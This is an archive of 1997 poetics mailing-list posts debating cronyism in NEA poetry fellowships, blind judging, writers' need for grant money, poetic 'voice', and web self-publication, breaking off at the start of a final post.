And Jorie directed my MFA thesis, served as my Teaching Advisor and I still work with her as I am doing a Ph.D. here and I DIDN'T get an NEA in that same round. Or a book contract. Or a free lunch. Or coupons good for a free career. So much for The Great Iowa Conspiracy (we also control the oil market and NASDAQ by the way). Think it's time for me to exit the poetics list if I need to be slogging through this. Hoped it would have been better.

JE

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594. **David R. Israel**
Re: Things that make you go 'hmm'
Wed 21 May 1997

Jocelyn Emerson writes:

<< And Jorie [Graham] directed my MFA thesis, served as my Teaching Advisor and I still work with her as I am doing a Ph.D. here and I DIDN'T get an NEA in that same round. Or a book contract. Or a free lunch. Or coupons good for a free career. So much for The Great Iowa Conspiracy (we also control the oil market and NASDAQ by the way). Think it's time for me to exit the poetics list if I need to be slogging through this. Hoped it would have been better. >>

Please don't do any such rash thing; the remarks & opinionations of a few needn't be construed as the consensus of a witch-hunt. For what worth, Jorie Graham's *poetry* was also, on this list, spoken of in fairly admiring terms not too long ago. I, for one, have a good opinion of her as a poet, and not a bad one as a figure in the evanescent game of publishing / critique courtship behavior.

One thought that at some point could use exploring -- this follows from Kent Johnson's remarks (and Kevin Killian's excellent & interesting insert-quoted response) -- is this: the tendency to bifurcate the poetry universe (to construe the world of writers into what are imagined as opposing camps) is often a strong one, and no doubt it has a rather archetypal imperative behind it. Nonetheless, it can be an incideous urge in certain respects. It is not above critique -- indeed, the illusory nature of what are, for a time, felt to be "established" and "obvious" bifurcations of this type, is, I dare say, worth considering.

cheers, d.i.

p.s.: I had MSS overlooked for several years from the Yale Younger Poets and the Nat'l Poetry Whatever (and for that matter have had poetry submissions rejected from both establishment (official verse culture etc.) and alternative (experimentalist etc.) journals -- such that I've ceased bothering trying to get my stuff in print -- and might simply web-publish myself at some point) . . . I've a good opinion of much work issuing from writers in both alleged "camps" and am (in a word) skeptical of the eternality (or even present accuracy) of many a child's line drawn in the wind-swept sand . . .

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 .
 .....
 ............
 \\\\
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Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"To think, not to dream, that is our duty."
Van Gogh to his brother

↑ Index

596. **Maria Damon**
Re: Things that make you go 'hmm'
Wed 21 May 1997

At 8:46 PM -0700 5/20/97, Dan Raphael Dlugonski wrote:
>One of Portland's 2 recent winner of poetry fellowships from NEA, Michelle
>Glazer (a splendid person and talented poet), was a recent student & protege
>of Jorie Graham, who was one of the NEA judges.

instead of crying "corruption! nepotism!" why not imagine that: the winner deserved the award 2) the friend of the winner who was a judge kept a low profile during the discussion,esp if s/he had written a letter of reference 3) the same thing could be said to happen in any network of poets. it is, for example, an absurd rule in some academic departments that, in order to guard against nepotism or conflic of interest, assistant professors coming up for tenure may not have as their external reviewers anyone they have met or had any interaction with. however, if the goal is to have a national profile, and the reviewers are the top people in the candidate's field, this is directly punitive to those young faculty members who do have a national profile and are visible in their professional networks. let's get real.

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597. **Fred Muratori**
Re: NEA That Goes "Hmm"
Wed 21 May 1997

Re:

> *A former NEA Fellow, I'm arriving at the conclusion that the NEA is becomming irrelevant--at least for individual artists, even in the literature program, the last that gives them grants--but not because of cronyism. I don't know about the Michelle Glazer case, but I'd like to see some actual documented cases of "incest" before we go charging off in search of people to tar and feather.*

> *Joseph Duemer*
> *School of Liberal Arts*
> *Clarkson University*

Actually, many such cases of "incest" were documented in detail by Hilary Masters in _The Georgia Review_, Summer 1981, in his essay "Go Down Dignified: The NEA Writing Fellowships" (followed, by the way, with a response from David Wilk, then Literature Program Director). This piece stirred up a great deal of controversy at the time; it reported -- naming some names, no less -- several sordid stories about cronyism. What's really interesting, though, is how Masters reserved his sharpest machete for the then-fledgling Language Poets, beating up on folks like Hejinian, Watten, Bill Berkson, Anne Waldman, etc., alleging some kind of conspiracy. No, Mr. Duemer, the incest was there, is there, and will always be there, but to most of us cronyism is a fact of life in just about any aspect of social interaction you can name; it's a given, and I'd agree with you that it's foolish to waste time and energy bitching about it when we could be writing exciting poetry that earns attention no matter who we are.

A positive story... I remember hearing that some years ago the NY State Foundation for the Arts rejected a poetry fellowship applicant's work because it "sounded too much like Ashbery." After the process was over the panel was amazed to discover that the rejected applicant was indeed Ashbery himself. That says something good about NY's process, if not something about the kind of work JA was writing at the time.

One more note on this subject. To me the cash award of an NEA fellowship is beside the point; what it really represents -- as Masters points out -- is an imprimatur, a badge that says your peers think you're one helluva poet, an honor that even non-poet tenure committees understand. Lately I've been thinking that the NEA should drop the money award to writers and just give the winners some kind of framed certificate or medal. Then maybe some of the saved bucks could be used to reinstitute grants for painters and sculptors, who at least can use the money for materials.

****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html

"The spaces between things keep
getting bigger & more
important."
- John Ashbery

****

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598. **Gwyn McVay**
Re: NEA That Goes "Hmm"
Wed 21 May 1997

>>>Then maybe
some of the saved bucks could be used to reinstitute grants for painters
and sculptors, who at least can use the money for materials.

The *materials* could be useful, too, in themselves... a nice frame and a sheet of glass aren't cheap. I rather like the idea of recycling the physical materials of the award.

Gwyn, now looking at her husband's 87 debate trophies with a new eye

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599. **henry gould**
Re: NEA That Goes "Hmm"
Wed 21 May 1997

Seems like cronyism should not be considered a fact of life. The fact that poets form groups & make friends is a VERY good thing; but awards, grants, etc. should TRY to avoid nepotism in order to provide the ONE thing of value they could provide: a relatively anonymous, chancy, recognition of value. I know at least SOME journals try to maintain this approach in their editorial decisions; grants & awards should do the same.

I know that since I began writing myself the idea of being at the behest of some mentor, teacher, or friend's concept of whether what I was doing was good or not simply throws the whole creative process out of whack. You need a measure (immeasurable?) of independent subjectivity. But it can be different for beginning writers, I know. This is one of those paradoxes the more you talk about it the less you feel or understand. Poetry for me though has always been under the sign of total anarchy & independence (believe it or not, gentle readers). In dialectic with basic literary education. But at the beginning, yeah, a few enthusiastic informed readers sure helps...

Let's go back to the WPA. Writers, poets, painters, musicians get the hell to work, you all get minimum wage & you all get paid, no judges, no cliques, no prestige, let the people judge. & no darn abstract regionalism!! A chicken in every poem!! - Hen Gould

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600. William Burmeister Prod

Re: voice & refrain and...

Wed 21 May 1997

> *For about a year now, and especially since the 'voice' thread began, I've been mulling over what seems to be/have been a surge in the use of 'dramatic monologue.' In the past few years I've seen what seems to be a proliferation of books with 'characters,' often enough set in specific historic periods. Right away Voigt's "Kyrie" comes to mind, a book which is if I'm not mistaken a semi-epistolary sonnet series based in the post-WWI Spanish flu-pandemic.*
>
> *My question to the list is, if there is a surge in the first place, what if anything does it represent with regards to attitudes about 'voice,' 'speaker,' the value placed on personal experience,...? Is it a kind of backlash against the private world(s) of poets, or a fumbling around for new 'subjects'...?*
>
> *Any thoughts?*

One way to look at it is to look at the distinction between private and public life, and what problems can occur when the two are interchanged. One could also see the search for new subject matter, perhaps even a vampirizing of the suffering of others in a growing number of contemporary works. Subject matter is not what poetry is made of. Right? However we are seeing a great deal of thinking that personal tragedy or suffering is unique, and that it privileges the speaker, and worse yet, that it is news.

I was at a bookstore reading of "Kyrie" by Ellen Voigt here in Ft.Lauderdale when someone asked her if she had somehow been connected to the Spanish influenza. Her unapologetic response was that she had no family history of the Spanish flu, but that she was interested in the life stories of those she researched. What I noted in the question was a common public demand for authority, for personal ownership of experience, tragedy or suffering. Since she later spoke with me about poetry that finds a resonance in the reader, I gathered that she intended to dwell on the human condition of suffering, as well as death, and that the Spanish flu was just her vehicle or source. I don't know if it was meant to justify the book or not. It seems to me that reviewers remarks frequently play up such points though as if to justify a book.

Best,

Bill B.

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601. **Jordan Davis**
sweet virginia / le medecin malgre lui
Wed 21 May 1997

Thanks Mark P (and Steve C backchannel) for verifying that if not out and out malicious the Ern Malley conspirators were hostile to modernism _in general_ and not merely to the insufficient examples of modernism Max Harris was peddling (no Australians will speak to this?). Haven't been able to enjoy the Yasusada hoax for similar reasons -- too hostile a move to be worth appreciating -- hostile not merely to the magazines involved nor even to the 'poetry community' whatever you think it is but to sympathy _in general_.

Was surprised at "The Incredible Shrinking Man" the other night to hear Gastr del Sol's 'Our exquisite replica of "eternity"' as the opening theme or obviously vice versa, gds borrowed the theme for the song -- is this the kind of thing I should be reading zines to know about?

Is it so important to know all the sources and roots? is it so important to know what tones people are taking (toward _you_ -- or _the system_)?

Jordan

↑ Index

602. **MAXINE CHERNOFF**
Re: Things that make you go 'hmm'
Wed 21 May 1997

I have to agree with Maria Damon here. Often on these kinds of panels, panelists must disqualify themselves for any number of reasons-- you know the editors (I served on a magazine panel), you've been in the magazine, etc. Thus while other less sypathetic people stay and decide if $$ should go to worthy contenders, you're out in the hallway twiddling your thumbs and when you see what happened in your absence, you're not even able to comment! I found it a very frustrating and peculiar experience, to be able to exert no power in advocating the aesthetic I might have represented on that panel.

Maxine Chernoff

On Wed, 21 May 1997, Maria Damon wrote:

> *At 8:46 PM -0700 5/20/97, Dan Raphael Dlugonski wrote:*
> *One of Portland's 2 recent winner of poetry fellowships from NEA, Michelle Glazer (a splendid person and talented poet), was a recent student & protege of Jorie Graham, who was one of the NEA judges.*
>
> *instead of crying "corruption! nepotism!" why not imagine that: the winner deserved the award 2) the friend of the winner who was a judge kept a low*

> *profile during the discussion,esp if s/he had written a letter of reference*
> *3) the same thing could be said to happen in any network of poets. it is,*
> *for example, an absurd rule in some academic departments that, in order to*
> *guard against nepotism or conflic of interest, assistant professors coming*
> *up for tenure may not have as their external reviewers anyone they have met*
> *or had any interaction with. however, if the goal is to have a national*
> *profile, and the reviewers are the top people in the candidate's field,*
> *this is directly punitive to those young faculty members who do have a*
> *national profile and are visible in their professional networks. let's get*
> *real.*

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603. **Joel Lewis**
in the news.....
Wed 21 May 1997

*** (from mercury news) France's Le Pen swears in talking postcard

France's extreme-right National Front launched a talking postcard Monday in which anti-immigration crusader Jean-Marie Le Pen swears at voters in an election campaign gimmick. The party plans to distribute the postcards in cafes and bars ahead of next Sunday's first round of a parliamentary election. When the card is pressed, a recording of Le Pen's voice says: "What about France, goddammit? Do you think about it? It's high time. Tomorrow will be too late. So go to the polls, citizens, and vote FN (National Front)." For the full text story, see http://www.merc.com/stories/cgi/story.cgi?id=3016991-599

****

JOEL LEWIS
[redacted]
>>>>>>>>>>>>>>>>>>>>>>>>>>
SLEEP FASTER! WE NEED THE PILLOWS!
--- Yiddish aphorism
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

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604. **Christopher Reiner**
Re: "voice"
Wed 21 May 1997

Well, here's what you can learn for $185. I've always thought the whole voice thing has more to do with "brand recognition" than anything else...protecting your own "look and feel" against the competition. Then, even if you leave your name off the ms., the judges will know who you are.

From the UCLA Extension Catalog, Summer 1997:

Finding Your Unique Voice:
A Two-Day Workshop
X 448.10A English 1.5 Units $185

Just as every human being has a unique personality, every writer has--potentially--a unique voice through which his/her vision may be best expressed. Designed to help beginning and established writers discover/develop that voice, this workshop includes exercises to discover personal patterns of diction and imagery, dissolve blocks, recover lost memories, tap into the individual wellsprings of creativity, and explore personal mythologies. Participants also study selected writers to determine what constitutes a "style" and read student works in a supportive atmosphere. Through active and playful class participation, each student learns how to listen for his/her own writing voice and let it emerge. (Enrollment limited to 30 students.)

Instructor: Charles Webb, Ph.D, widely published poet, fiction writer, and psychotherapist in private practice. Dr. Webb's published works include _The Wilderness Effect_ (novel); _Everyday Outrages_ (poetry); _Poetry That Heals_, a no-nonsense approach to self-help and self-exploration through creative writing; and _Reading the Writer_, winner of the Samuel French Morse Poetry Prize.

↑ Index

605. Daniel Tessitore
Re: Things that make you go 'hmm'
Wed 21 May 1997

Dan R. wrote:

One of Portland's 2 recent winner of poetry fellowships from NEA, Michelle Glazer (a splendid person and talented poet), was a recent student & protege
of Jorie Graham, who was one of the NEA judges.

_____

Of course this kind of thing makes one wince, but can it be avoided? Judges are poets, poets teach, teachers have students, and those students apply for bucks from judges. It would be unreasonable to expect that all the work in those mss would be completely unfamiliar to every judge every year.

DT

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606. **dbkk**
Re: NEA That Goes "Hmm"
Wed 21 May 1997

At 9:37 AM -0400 5/21/97, Fred Muratori wrote:

> *One more note on this subject. To me the cash award of an NEA fellowship is beside the point; what it really represents -- as Masters points out -- is an imprimatur, a badge that says your peers think you're one helluva poet, an honor that even non-poet tenure committees understand. Lately I've been thinking that the NEA should drop the money award to writers and just give the winners some kind of framed certificate or medal. Then maybe some of the saved bucks could be used to reinstitute grants for painters and sculptors, who at least can use the money for materials.*

What a bizarre notion that writers have no costs for materials (like what about computer equipment, books, a desk chair that doesn't cripple you), that they need no money to write. What about the old cliche "Time is money." What about not having to work two jobs for a few months, or not having to take on yet another stupid journalism assignment--I think that money would certainly make a difference in any writer's ability to produce work.

Remember Virginia Woolf, A Room of One's Own . . .

Dodie

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607. **Matthias Regan**
Re: "voice"
Wed 21 May 1997

Extension, 1997

every being, every
his/her vision
established

patterns diction &
dissolve, tap individual
explore personal

determine what works
through participation and
emerge

↑ Index

608. **Fred Muratori**
Writers and Painters
Wed 21 May 1997

Dodie wrote:

> *What a bizarre notion that writers have no costs for materials (like what about computer equipment, books, a desk chair that doesn't cripple you), that they need no money to write. What about the old cliche "Time is money." What about not having to work two jobs for a few months, or not having to take on yet another stupid journalism assignment--I think that money would certainly make a difference in any writer's ability to produce work.*
>
> *Remember Virginia Woolf, A Room of One's Own . . .*
>
> *Dodie*

Dodie --

Well, though I didn't say that writers have *no* costs -- you're extrapolating from my statement quite a bit here -- I do think that visual artists have more expenses directly related to the production of their work. If you talk to painters you know how insanely expensive paints, canvas, brushes, studio rental, etc., are. Talk about bizarre. Certainly, writers can use NEA money in a variety of ways that can help them -- including things like travel and time off from the job. But I'm sorry if I don't quite feel your pain, having worked 8-5 with very limited vacation time for more than 20 years and written hundreds of poems anyway, uncomfortable chair and all. An NEA would buy some time I'd love to have, but who can wait for that cold day in hell?

When I talk about "materials," I'm talking about the very basics that visual artists need simply to get their ideas out in a tangible form. While a computer can certainly make life easier, plenty of poets are still writing poems without them, and many of those who apply for and receive NEAs are -- let's face it -- teachers who already have access to computers, pencils, paper, typewriters, even free postage! etc. via their departments, not to mention 3-4 month sabbaticals every few years. My point was that it made little sense to me for the NEA to cut off visual artists from fellowships while sparing writers, though I can see how it would make sense to Helms -- it's a lot harder to spot that there porno when there's all them little words all around it.

Also -- I know poets who would kill for a "stupid journalism assignment" now and then. It's writing and you get paid for it -- another bizarre notion!

In search of a cheap, comfortable desk chair myself,

-- Fred

****
Fred Muratori "The spaces between things keep
([redacted]) getting bigger & more
Reference Services Division important."
Olin * Kroch * Uris Libraries - John Ashbery
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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609. Eliza McGrand- CVA Guest

things that make you go hmmmm -- a hyhouihnmmmmmmmhhh

Wed 21 May 1997

---

but by the same token, we've all seen too much of University X writing program students publishing in University Y lit mag, and vice versa, and isn't it cozy how faculty from university X just happen to hang out with faculty from university Y... and meanwhile, betty boop, from dingdonaka illinois, sends in some really fine work, but hey, she doesn't KNOW anyone, and like, we only have space for maybe 2 poems here, and like, i met Biff B at the last conference and he was really happening, and he has his own lit mag... and bla bla bla

or, my favorite, look at writing classes and english classes -- students usually 2/3 to 3/4 women, right. now, look at faculty in english and writing programs. usually 3/4 or more men! and if there are lots of female names, look at their titles and positions -- they're mostly part-time and non-tenured! contests that are not blind (writer's names on manuscripts) -- winners 3/4 or more men. blind contests, 1/2 or more winners women! adn look at magazines -- 1 woman to 10 men.

on last, though, i have to say i have another gripe that shows a different and very scary slant -- i am assist. edit. on electronic 'zine and i swear, i mean, i SEE them so i know, we get 3/4 to 9/10 men submitting. we've tried like heck to recruit women writers, i know they're out there, but no luck, and i hear this from most of the other editors i've talked to.

as editor, i 1) don't publish my work in our magazine; 2) if someone i know sends work in, i don't decide or even comment or even see work, and my editor has same arrangement with me -- her friends' work goes to me and i decide, and she never argues with my decisions.

if i were on panel, or helping give money, and someone i knew came up, i might say that i know their work and what i think of it, but if it were a student, or a colleague, i think i might ask to be left out of vote. certainly if there were any ethical issues of hand/washing/hand in it (university x/y situation) i'd back out completely. i think one can say, from vantage point of knowing person's work, what one thinks of it. but even that worries me.

the ethical crux of this is: what about betty boop in dingdonaka illinois... the point of these awards, magazines, mfa programs, etc. is the WORK. work work work

hot and cold skulls,
Bennett

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.
[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

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611. **henry**
Re: things that make you go hmmmm -- a hyhouihnmmmmmmmhhh
Wed 21 May 1997

Elliza's message should be nailed to the door of every editorial & grant office. & read by every editor & grantor.

- Henry G.

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612. **dbkk**
Re: Writers and Painters
Wed 21 May 1997

At 2:44 PM -0400 5/21/97, Fred Muratori wrote:

> *Also -- I know poets who would kill for a "stupid journalism assignment" now and then. It's writing and you get paid for it -- another bizarre notion!*

I'll have to show this to the woman I know who writes user manuals for a soft-ward company. She's *really* lucky, she gets paid to write eight hours a day!

There seems to be an attitude among funders that all writing (and art) is equal, with more and more grants being geared towards social work type public art projects and less and less non-restricted money for writers to just produce their own work.

Dodie

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613. **Mark Prejsnar**
Re: NEA That Goes "Hmm"
Wed 21 May 1997

Having had a lot of contact with the science world, I feel that grants and awards (not to mention accepting material for publication) could very usefully be done in the same way for poetry as it is in much of science--the typescript to be evaluated is "blinded" by the editor, and reviewed by a reviewer who has no name, only the work, to judge. In recent debates in science, folks have pointed out that in small specialized areas (and a lot of science now falls out into small specialized areas!!) a reviewer often knows from the work itself that this is X or Y, since only X or Y is modelling growth rates in termite populations in Uganda. The same thing would happen in poetry--some judges would guess that this poem had been submitted by Alice Fulton or Charles Bernstein or Will Alexander 'cause it *sounds* like that person...But on the whole, having to respond to the work without knowing "who" the poet is is an interesting exercise..Hopefully everyone on the list reads Antenym (if you don't, you should)..That magazine sets up the work so that unless you spend some time and energy first with the table of contents, you don't know the poet's name, you just encounter the poem. It is a very interesting experience to not have (to be allowed to have) any preconceptions.

Mark Prejsnar
Atlanta

On Wed, 21 May 1997, henry gould wrote:

> *Seems like cronyism should not be considered a fact of life. The fact that poets form groups & make friends is a VERY good thing; but awards, grants, etc. should TRY to avoid nepotism in order to provide the ONE thing of value they could provide: a relatively anonymous, chancy, recognition of value. I know at least SOME journals try to maintain this approach in their editorial decisions; grants & awards should do the same.*
>
> *I know that since I began writing myself the idea of being at the behest of some mentor, teacher, or friend's concept of whether what I was doing was good or not simply throws the whole creative process out of whack. You need a measure (immeasurable?) of independent subjectivity. But it can be different for beginning writers, I know. This is one of those paradoxes the more you talk about it the less you feel or understand. Poetry for me though has always been under the sign of total anarchy & independence (believe it or not, gentle readers). In dialectic with basic literary education. But at the beginning, yeah, a few enthusiastic informed readers sure helps...*
>
> *Let's go back to the WPA. Writers, poets, painters, musicians get the hell to work, you all get minimum wage & you all get paid, no judges, no cliques,*

> *no prestige, let the people judge. & no darn abstract regionalism!!*
> *A chicken in every poem!!*
> *- Hen Gould*

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614. **CAROLYN L. FORCHE-MATTISON**
Re: Writers and Painters
Wed 21 May 1997

On Wed, 21 May 1997 [redacted] wrote:

> Dodie wrote:
>
> There seems to be an attitude among funders that all writing (and art) is
> equal, with more and more grants being geared towards social work type
> public art projects and less and less non-restricted money for writers to
> just produce their own work.
>
> Dodie
>
It's true, and this unfortunately pervasive linkage to social utility governed the recent NEA restructuring as well. Regardless of one's views of public support of the arts or of the NEA itself, it should be noted that individual grants to writers were continued because a consortium of writers' organizations (CLMP, Poets & Writers, etc.) hired a Washington lobbyist and set continuation of such fellowships as a priority. Organizations representing the visual arts seemed to be more focussed on institutional funding. As a further point of information, the NEA rule governing panelists' special interests is the "no love, hate, blood or money" rule, whereby a panelist is supposed to excuse him/herself if any of these apply.

--Carolyn

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615. **maz881**
Tiger Woods
Wed 21 May 1997

"We had already developed a brand plan that encompasses who I am. American Express isn't going to branch off into areas where we're in conflict. So I'm going to be promoted in the way I hope to be perceived."

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616. **P.Standard Schaefer**
Re: NEA, Names
Wed 21 May 1997

Response to Mark Prejsnar's comments on Antenym:

I agree with you about Antenym's format. I like the way the name is less important than the work and I would just mention that a new journal coming out of Atlanta (where you are, I take it) called Syntactics is promising a similar format. Editor: John Lowther. Having said that, I would mention that I've been told it is coming out this month and that there are some "names" in the first issue, like Ray DiPalma, and Bernstein too (if I'm not mistaken).

Standard Schaefer

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617. **Steve Carll**
Etymological Fallacy
Wed 21 May 1997

Mark Weiss wrote:

> *I'd like to propose a new term for the list's consideration:*
>
> *the etymological fallacy--a. that two words wrom the same root continue to mean the same thing.*
> *b. that a word retains the meaning of its root.*
>
> *Here's a recent example of a.: sensible and sensitive. Example: "I was starving, your honor. In my situation stealing your wife's purse was the sensible thing to do."*
> *Substitute sensitive.*
>
> *And here's an example of b.: epic as gossip.*

I'm just curious about the use of the word "fallacy" here. In order to come to a judgment that the use of a word is fallacious with respect to its meaning, doesn't one have to proceed from the assumption that the word has a stable meaning against which individual uses of the word can be compared to determine whether they're correct or incorrect? And doesn't the proposal rest on precisely the opposite assumption--that the word's meaning changes over time, i.e., is unstable?

And, if I may just shunt over to take up Joseph Duemer's question about Heidegger's _Poetry, Language, Thought_: yes, Heidegger employs etymology in this and throughout his work to tie his thinking on Being into an investigation of language and the historicity of the language in which that thinking take place. Your use of the phrases "etymological reasoning" and "based on etymology" make it sound to me as though Heidegger's thought could then be evaluated on

the accuracy of his philology, which I wouldn't agree with. Fanciful as they often are, Heidegger's etymologies nonetheless open up realms of thinking about words that aren't available to us if we insist on the primacy of a single stable denotative meaning for the word, or if we deny the associative power that the word has within and without its "own" language, or if we fail to account for the context in which the word appears (meaning for whom?). I guess I'm seconding something George Thompson said and adding another term: sometimes etymological "fallacies" can lead to philosophical truths.

What Mark sees as the obscuring of meaning is often a strategy employed to problematize meaning so that what may seem like the "obvious" meaning of a word is no longer taken for granted. The word is no longer transparent but prismatic, bent into the component colors that are present within the white light.

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

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618. **Bob Grumman**
Re: Things that make you go 'hmm'
Wed 21 May 1997

I'm with Maria Damon and Maxine Chernoff about nobly recusing oneself as an arts judge to avoid the horror of "conflict of interest": I'm against it. Seems to me if judges consider only work whose authors they don't know, they'll only consider work they're incompetent to judge--because they'll be dealing with schools of poetry they haven't studied sufficiently to recognize the work of everyone of consequence in.

But arts competitions are like all the rest of life: the prizes go to the credentialed while personal satisfaction goes to the productive.

It's probably a waste of time trying to do anything about it; nonetheless, here's one suggestion, a follow-up to David R. Israel's comment about how he's seriously thinking about web-siting his poetry: junk the NEA and use the funds saved to buy web-sites for randomly- selected poets--and other artists (and

critics). A government-funded universal index to artwork and art-criticism on the internet would be nice, too.

--Bob G.

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619. **Matthias Regan**
Re: Writers and Painters
Wed 21 May 1997

Hell, what is writing anyway? What, creativity? I get paid to write all day every day, with this small proviso: those words arn't mine. But then, when are they--?????

signed,
Matthias Regan, Word Processor

↑ Index

620. **Matthias Regan**
Re: Writers and Painters
Wed 21 May 1997

I agree with almost everything this thread has said so far. But it's also important to remember, isn't it, that making poems or painting or music or what have you operates remarkably well outside of standard economies. And this goes both for creation and reception.Not a hell of a lot of money--if any-- is NEEDED: I'd be if not the first right up there if they were offering it, but that has more to do with wanting a) the recognition (as mentioned earlier in this thread) and b) to "get paid" for something I'm doing anyway, rather than only for something I do BECAUSE it pays. I don't think getting paid (via grants, or per word by a publisher, what have you) is equivalent to "selling out"--in the eyes of the writer: but it usually is in the mind of the buyer.

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621. **Hoa Nguyen**
Re: NEA That Goes
Wed 21 May 1997

> *Let's go back to the WPA. Writers, poets, painters, musicians get the hell to work, you all get minimum wage & you all get paid, no judges, no cliques, no prestige, let the people judge. & no darn abstract regionalism!!*
> *A chicken in every poem!!*

The NEA, with AmeriCorps and local arts agencies-- and in its first year with AWP, *has* sponsered a project like the WPA called WritersCorps, for the last three years.

WritersCorps is based in San Francisco, DC and the Bronx (although I believe the NY branch is working without fed. dollars in their third year). Since I worked for WritersCorps in CA for two years, I can personally attest for the near minimum wage-- although you do get an educational voucher for several thousands and your student loans go in forbearance. Of course cliques are involved-- it is a group of people after-all-- some prestige and perks too-- we had goldfish crackers as treats for some of our meetings (and I got to accompany one of my students to the White House and met the first Lady!).

In San Francisco we worked with inner city youth-- it was tough and great-- I loved "my" kids hugely, it was fun, we got to know each other-- they were good poets. Two anthologies to check out: "Flavors of the City" and "Word from the (415)" featuring work SF WritersCorps' Youth wrote in '95 and '96, the latter book includes some lesson plans. The third anthology is at the printers now. All are available through Small Press Distribution.

(End of plug-- thanks!)

Hoa

Get Your *Web-Based* Free Email at http://www.hotmail.com

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622. David Israel
conceptualizing web publication
Wed 21 May 1997

Bob Grumman writes,

<< here's one suggestion, a follow-up to David R. Israel's comment about how he's seriously thinking about web-siting his poetry: junk the NEA and use the funds saved to buy web-sites for randomly- selected poets--and other artists (and critics). A government-funded universal index to artwork and art-criticism on the internet would be nice, too. >>

I've no response to these broad ideas, but will add a different, modest remark. My views about (or tentative stance re:) website "publication" generally, and web-based self-publication in particular, were moved along a notch by a conversation I had with a Berkeley writer a couple months ago. This woman is a Chinese novelist -- having written several novels in modern Chinese, evidently of a

somewhat experimentalist ilk (by contemp. Chinese-fiction standards -- which frankly I wouldn't exactly know . . .) She encountered red lights all the way, so far as possibility of publishing her books -- and found herself, after a time, discouraged. Friends, however, suggested she self-publish on the web. She did this (via the SinoLogic website established by her husband, Dajuin Yao -- who, incidentally, also has some Chinese [& partly bilingual] "concrete poetry" material on another branch of his SinoLogic site); -- and now the novelist has the full text of several books online, for Chinese-literate readers worldwide.

This writer remarked on an interesting advantage of web-publishing: it serves to separate the distribution of one's work from mercantile forces. Usual issues of commerce are simply nullified: one no longer needs to sell books (or convince publishers to publish, distributors to distribute, bookstores to stock, etc.) Presto! -- the work is made directly available (w/ obvious limitation: the reader must be a denizen of the online world, and must know where to find the writer's work).

This interesting writer [pardon my vagueness -- her name is something like Yueh-lian Wei (??), but I'd need to check . . .] commented further: she has developed a devoted international readership, including readers who await each new volume, read everything she writes, and directly offer their informed critical feedback to her by email. In short, she's managed, via this technology, to connect with an intelligent & responsive readership, circumventing commercial aspects of publishing.

(One might remark that such de-commercialization of art seems in keeping with the old Chinese mores -- where, in days of yore, a serious painter would be loathe to *sell* a painting, much favoring, say, staying over at your home for a week or a month, and then giving you a painting as a parting gift. Kindred non-commercialism perhaps attended the poetry world . . . i.e., one didn't make money from poetry per se, albeit poetry skills could indeed get one tenure [er, I mean, a job in Washington] . . .] but I stray from my theme . . .)

This woman's remarks served to dislodge & perhaps dispose of certain prejudices of mine (re: self-publication in general & web-publication in particular). By the time I left our shady afternoon chat, I found myself starting to look favorably on such notions for my own tucked-away, dust-gathering manuscripts.

My thoughts abt. this remain tentative & exploratory -- but I'm rather hopeful that I might in fact find the web's waters (as they say) fine.

d.i.

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623. Mark W Scroggins
communities, virtual & subtropical
Wed 21 May 1997

Hello from a lurker:

Living in South Florida, where innovative poetries & poets are few & far between, I've been thinking a lot about poetic communities, largely spurred by Ron Silliman's frequent published comments on the importance of community for poetics-formation and by what seems my own isolation here (save of course for one or two people who want to talk the same language). The List, on one level is a great thing, and it's very heartening to see the reading series and publications happening all around; on another level, it makes me long for what I'd known during graduate school and when I lived in the DC area--a group of lively and verbal writers with whom one could interact in an immediate way. I'm sure many of us on the list know this feeling, especially those who are far from urban centers, or who live in endless suburban wastelands like I do. I'm wondering about ways that others have found to establish communities, perhaps from the ground up. Any fruitful suggestions?

And more specifically--there've GOT to be more listmembers than just Bill Burmeister and me in South Florida; it's hard to tell who's where from just a printout of listmembers with e-mail addresses. Those of you out there in West Palm Beach, Broward, Dade, and counties surrounding, could you please backchannel me? With delurking blushes, Mark Scroggins

↑ Index

624. George Bowering
Re: more of Padgett's voice
Wed 21 May 1997

Well, metal was a mistake:

In baseball bats

In pop music

In condoms

and in underarm deodorants.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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625. **David Israel**
China-po & money / Captain of Butterflies
Wed 21 May 1997

---

pardon, a small postscript --

my idle remarks re: money & poetry in old China were perhaps flawed. Certainly the noncommercial ideal was often prevalent for the so-called "literati painters" (a remarkable brood of folk in, say, the Mongol [Yuan] dynasty]. On the other hand, poets -- & musicians, etc. -- were of course wined & dined & supported by the aristocracy in general & often courts in particular.

(Some problems of art & livelihood that we'all face are, no doubt, related to some broad issues of democracy vs. aristocracy. The NEA has tried to fill those shoes, and seemingly did rather well for a nice stretch . . .)

d.i.

p.s.: Sam Hamill's essay abt. Poetry & Money (in his Broken Moon Press volume, *The Poet's Work*) presents some good (if familiar) thoughts on this, more broadly.

p.p.s.: Enjoyed Dutch writer Cees Nooteboom's reading in DC last evening -- including a couple poems from Sun & Moon's volume *The Captain of the Butterflies*, just out -- 1st time Nooteboom's poetry has been presented in English. He's best known for his novels, but also has published some 11 poetry volumes in Dutch (& he has himself translated a good bit of contemp. American poetry into Dutch, he remarked).

After a time (if nobody else happens to do so first), I might offer a few remarks abt. *The Captain of the Butterflies*, which I'm enjoying. The translation is by Leondard Nathan & Herlinde Spahr.

d.i.

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626. **CHRIS MANN**
Re: Things that make you go 'hmm'
Wed 21 May 1997

On Wed, 21 May 1997, Bob Grumman wrote:
> an arts judge to avoid the horror of "conflict of interest":

>
point of grammar only, self interest is not a conflict of interest

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627. **Herb Levy**
Re: NEA That Goes "Hmm"
Wed 21 May 1997

Fred Muratori wrote:

